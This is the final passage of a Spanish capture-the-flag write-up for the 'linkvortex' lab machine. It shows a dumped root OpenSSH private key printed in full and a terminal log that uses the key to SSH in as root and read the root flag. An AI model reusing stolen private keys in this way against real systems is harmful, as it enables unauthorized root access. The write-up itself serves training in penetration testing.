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
-----END OPENSSH PRIVATE KEY-----
bob@linkvortex:~$

Utilizamos la clave privada por SSH logrando obtener acceso como root y la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
bob@linkvortex:~$ cd /dev/shm
bob@linkvortex:/dev/shm$ nano id
bob@linkvortex:/dev/shm$ chmod 600 id
bob@linkvortex:/dev/shm$ ssh -i id root@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:vrkQDvTUj3pAJVT+1luldO6EvxgySHoV6DPCcat0WkI.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Mon Dec  2 11:20:43 2024 from 10.10.14.61
root@linkvortex:~# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
root@linkvortex:~# ls
root.txt
root@linkvortex:~# cat root.txt
bb9ecf99f914297e5b9c8145df7126a1
root@linkvortex:~#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe